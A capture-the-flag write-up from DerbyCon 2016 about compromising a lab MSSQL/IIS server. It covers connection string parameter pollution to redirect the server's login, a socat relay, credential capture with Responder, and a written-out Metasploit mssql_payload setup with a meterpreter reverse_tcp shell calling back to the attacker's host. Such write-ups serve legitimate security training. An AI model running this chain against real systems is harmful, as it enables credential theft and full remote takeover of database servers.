DerbyCon 2016 CTF: 172.30.1.245 Hillary Clinton's Private Email Server

Starting off the new blog with write-ups from the "SLACKers" DerbyCon 6 CTF team.

This server had ports 80 and 1433 (MSSQL) open. Opening the IP in a browser redirected to http://172.30.1.245/Default.aspx and displayed a simple "check database connection" form pre-populated with the value "email." Viewing the HTML source revealed a /backup folder containing some files (more on that later).

The MSSQL listener required authentication, so no luck with that. The IIS server didn't look vulnerable, so started tampering with the the database form field on the ASP page. As is, submitting the form with the default "email" value returned a success message. Input some random text value and it returned a connection failure. Typical SQL injection test characters returned an error, so initially thought this was the vulnerability. After manual testing and a run through sqlmap, nothing came back.

The "check connection" field description hinted that this might be a vulnerable connection string instead of SQL injection. I couldn't remember the term for this, but after some Googling, found the paper Connection String Parameter Pollution Attacks (CSPP). The "Data source" field looked hopeful, but where to point it? How about to my IP? We started wireshark, a netcat listener on port 1433, and entered the string "email; data source=172.16.71.x" (where 172.16.71.x was our IP at the time). Success! Sort of... The server was now trying to connect to us, but we had nothing to respond with. Now what?

One idea was to start a MSSQL server on one of our systems and see if we could capture the credentials with that, but none of us had it installed and it would be impossible to download over the barely surviving CTF network. Next thought was to just send the traffic back to the server since port 1433 was open and we could MITM the login. Another success! Using the socat command "socat TCP-LISTEN:1433,fork TCP:172.30.1.245:1433" combined with the CSPP string worked. We can now monitor the traffic and try to get some credentials. Unfortunately, the authentication was encrypted and we weren't able to extract the password.

In the meantime, Steve was hacking away while watching the MITM traffic and caught a failed login for the user "hildabeast." He submitted the username for a successful flag and we got the attention of Mr. Mudflap. Our progress so far earned us a DerbyCon challenge coin! This challenge was in the CTF 2 years ago and nobody got it. Not bad for a Friday afternoon, but we weren't done.

We still wanted the credentials but weren't sure how to get them yet. Going back to Google, we found that Laurent Gaffie's Responder.py has a MSSQL auth server. We started Responder in place of socat and got the clear text password (and another flag) - hildabeast:abcdefghijklmnopqrstuvwxyz. Now we can have some fun.

I'm a metasploit rookie (new goal for the year), so Doug helped me set this up:

use exploit/windows/mssql/mssql_payload
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.71.x
set RHOST 172.30.1.245
set LPORT 8144
set USERNAME hildabeast
set PASSWORD abcdefghijklmnopqrstuvwxyz

We now have a shell as nt/system. We found some more flags and could almost call this box done. We still wanted to explore the database some more, so after Doug setup an ODBC connection and tried importing data into Excel and I spent 2 hours trying to download SQuirreL, we found out Nick had SQL Server Management Studio installed like a red teaming boy scout. We checked out the DB contents, but didn't find anything else.

This challenge was a solid team effort and we managed to pull down enough points to put us in third place. Not wanting to miss out on the rest of the con, we decided it was time to go to dinner, tie for last place in Hacker Jeopardy and socialize for the rest of the evening.